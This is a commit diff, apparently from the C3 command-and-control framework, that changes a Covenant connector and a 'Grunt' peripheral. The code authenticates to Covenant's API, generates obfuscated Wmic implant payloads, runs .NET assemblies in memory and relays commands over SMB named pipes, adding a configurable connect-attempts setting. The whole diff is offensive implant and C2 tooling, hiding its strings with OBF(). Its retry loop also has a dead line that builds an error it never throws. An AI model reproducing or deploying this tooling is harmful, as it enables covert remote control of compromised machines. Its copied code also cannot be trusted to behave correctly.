refactor for merge request

dependabot/npm_and_yarn/Src/WebController/UI/websocket-extensions-0.1.4
tim.carrington 2019-11-08 11:21:49 +00:00
parent b29fd34656
commit 5f0f992406
3 changed files with 61 additions and 51 deletions

View File

@ -91,7 +91,7 @@ namespace MWR::C3::Interfaces::Connectors
/// @param jitter percent to jitter the delay by
/// @param listenerId the id of the Bridge listener for covenant
/// @return generated payload.
MWR::ByteVector GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t listenerId);
MWR::ByteVector GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t listenerId, uint32_t connectAttempts);
/// Close desired connection
/// @arguments arguments for command. connection Id in string form.
@ -140,13 +140,9 @@ MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
{
json postData;
json response;
std::string postDataDump;
std::string binary;
std::tie(m_ListeningPostAddress, m_ListeningPostPort, m_webHost, m_username, m_password) = arguments.Read<std::string, uint16_t, std::string, std::string, std::string>();
InitializeSockets();
/***Authenticate to Web API ***/
std::string url = this->m_webHost + OBF("/api/users/login");
@ -160,16 +156,10 @@ MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
web::http::http_request request;
request = web::http::http_request(web::http::methods::POST);
postDataDump = postData.dump();
request.headers().set_content_type(utility::conversions::to_string_t(OBF("application/json")));
request.set_body(utility::conversions::to_string_t(postDataDump));
request.set_body(utility::conversions::to_string_t(postData.dump()));
pplx::task<web::http::http_response> task = webClient.request(request).then([&](web::http::http_response response)
{
return response;
});
task.wait();
pplx::task<web::http::http_response> task = webClient.request(request);
web::http::http_response resp = task.get();
if (resp.status_code() == web::http::status_codes::OK)
@ -186,6 +176,8 @@ MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
this->m_token = response[OBF("covenantToken")].get<std::string>();
else
throw std::exception(OBF("[Covenant] Could not get token, invalid logon"));
InitializeSockets();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
@ -225,14 +217,13 @@ bool MWR::C3::Interfaces::Connectors::Covenant::DeinitializeSockets()
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t listenerId)
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t listenerId, uint32_t connectAttempts)
{
if (binderId.empty() || pipename.empty())
throw std::runtime_error{ OBF("Wrong parameters, cannot create payload") };
std::string authHeader = OBF("Bearer ") + this->m_token;
std::string contentHeader = OBF("Content-Type: application/json");
std::string postDataDump;
std::string binary;
web::http::client::http_client_config config;
@ -251,34 +242,24 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteV
postData[OBF("type")] = OBF("Wmic");
postData[OBF("delay")] = delay;
postData[OBF("jitterPercent")] = jitter;
postData[OBF("connectAttempts")] = 5000;
postData[OBF("connectAttempts")] = connectAttempts;
//First we use a PUT to add our data as the template.
request = web::http::http_request(web::http::methods::PUT);
postDataDump = postData.dump();
try
{
request.headers().set_content_type(utility::conversions::to_string_t("application/json"));
request.set_body(utility::conversions::to_string_t(postDataDump));
request.set_body(utility::conversions::to_string_t(postData.dump()));
request.headers().add(OBF_W(L"Authorization"), utility::conversions::to_string_t(authHeader));
pplx::task<web::http::http_response> task = webClient.request(request).then([&](web::http::http_response response)
{
return response;
});
task.wait();
pplx::task<web::http::http_response> task = webClient.request(request);
web::http::http_response resp = task.get();
//If we get 200 OK, then we use a POST to request the generation of the payload. We can reuse the previous data here.
if (resp.status_code() == web::http::status_codes::OK)
{
request.set_method(web::http::methods::POST);
task = webClient.request(request).then([&](web::http::http_response response)
{
return response;
});
task.wait();
task = webClient.request(request);
resp = task.get();
auto respData = resp.extract_string();
@ -293,7 +274,7 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteV
m_ConnectionMap.emplace(std::string{ binderId }, std::move(connection));
return payload;
}
catch(std::exception e)
catch(std::exception&)
{
throw std::exception(OBF("Error generating payload"));
}
@ -504,9 +485,9 @@ bool MWR::C3::Interfaces::Connectors::Covenant::Connection::SecondThreadStarted(
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64)
{
auto [pipeName, listenerId, delay, jitter] = data.Read<std::string, uint32_t, uint32_t, uint32_t>();
auto [pipeName, listenerId, delay, jitter, connectAttempts] = data.Read<std::string, uint32_t, uint32_t, uint32_t, uint32_t>();
return ByteVector{}.Write(pipeName, GeneratePayload(connectionId, pipeName, delay, jitter, listenerId));
return ByteVector{}.Write(pipeName, GeneratePayload(connectionId, pipeName, delay, jitter, listenerId, connectAttempts), connectAttempts);
}

View File

@ -1,8 +1,9 @@
#include "StdAfx.h"
#include "Grunt.h"
using namespace mscorlib;
//This function will run the .NET assembly
void RuntimeV4Host(PBYTE pbAssembly, SIZE_T assemblyLen)
static void RuntimeV4Host(PBYTE pbAssembly, SIZE_T assemblyLen)
{
HANDLE hHeap = GetProcessHeap();
HRESULT hr;
@ -159,7 +160,7 @@ Cleanup:
MWR::C3::Interfaces::Peripherals::Grunt::Grunt(ByteView arguments)
{
auto [pipeName, payload] = arguments.Read<std::string, ByteVector>();
auto [pipeName, payload, connectAttempts] = arguments.Read<std::string, ByteVector, uint32_t>();
BYTE *x = (BYTE *)payload.data();
SIZE_T len = payload.size();
@ -177,29 +178,32 @@ MWR::C3::Interfaces::Peripherals::Grunt::Grunt(ByteView arguments)
throw std::runtime_error{ OBF("Couldn't run payload: ") + std::to_string(GetLastError()) + OBF(".") };
std::this_thread::sleep_for(std::chrono::milliseconds{ 30 }); // Give Grunt thread time to start pipe.
while(1)
for (int i = 0; i < connectAttempts; i++)
{
try
{
m_Pipe = WinTools::AlternatingPipe{ ByteView{ pipeName } };
return;
{
m_Pipe = WinTools::AlternatingPipe{ ByteView{ pipeName } };
return;
}
catch (std::exception& e)
{
// Sleep between trials.
Log({ OBF_SEC("Grunt constructor: ") + e.what(), LogMessage::Severity::DebugInformation });
std::this_thread::sleep_for(std::chrono::milliseconds{ 100 });
}
}
catch (std::exception& e)
{
// Sleep between trials.
Log({ OBF_SEC("Grunt constructor: ") + e.what(), LogMessage::Severity::DebugInformation });
std::this_thread::sleep_for(std::chrono::milliseconds{ 5 });
}
return;
std::runtime_error{ OBF("Grunt creation failed") };
}
void MWR::C3::Interfaces::Peripherals::Grunt::OnCommandFromConnector(ByteView data)
{
// Get access to write when whole read is done.
std::unique_lock<std::mutex> lock{ m_Mutex };
m_ConditionalVariable.wait(lock, [this]() { return !m_ReadingState; });
m_ConditionalVariable.wait(lock, [this]() { return !m_ReadingState || m_Close; });
if(m_Close)
return;
// Write to Covenant specific pipe
m_Pipe->WriteCov(data);
@ -213,8 +217,11 @@ void MWR::C3::Interfaces::Peripherals::Grunt::OnCommandFromConnector(ByteView da
MWR::ByteVector MWR::C3::Interfaces::Peripherals::Grunt::OnReceiveFromPeripheral()
{
std::unique_lock<std::mutex> lock{ m_Mutex };
m_ConditionalVariable.wait(lock, [this]() { return m_ReadingState; });
m_ConditionalVariable.wait(lock, [this]() { return m_ReadingState || m_Close; });
if(m_Close)
return {};
// Read
auto ret = m_Pipe->ReadCov();
@ -226,6 +233,15 @@ MWR::ByteVector MWR::C3::Interfaces::Peripherals::Grunt::OnReceiveFromPeripheral
}
void MWR::C3::Interfaces::Peripherals::Grunt::Close()
{
MWR::C3::Device::Close();
std::scoped_lock lock(m_Mutex);
m_Close = true;
m_ConditionalVariable.notify_one();
}
MWR::ByteView MWR::C3::Interfaces::Peripherals::Grunt::GetCapability()
{
return R"(
@ -261,6 +277,13 @@ MWR::ByteView MWR::C3::Interfaces::Peripherals::Grunt::GetCapability()
"defaultValue" : 30,
"name": "Jitter",
"description": "Jitter"
},
{
"type": "int32",
"min": 10,
"defaultValue" : 30,
"name": "Connect Attempts",
"description": "Number of attempts to connect to SMB Pipe"
}
]
},

View File

@ -36,6 +36,10 @@ namespace MWR::C3::Interfaces::Peripherals
/// Return json with commands.
/// @return ByteView Commands description in JSON format.
static ByteView GetCapability();
/// Close peripheral Grunt
/// Calls superclass CLose and prepares to exit without deadlocking
void Close() override;
private:
@ -52,5 +56,7 @@ namespace MWR::C3::Interfaces::Peripherals
/// Used to support beacon chunking data.
bool m_ReadingState = true;
bool m_Close = false;
};
}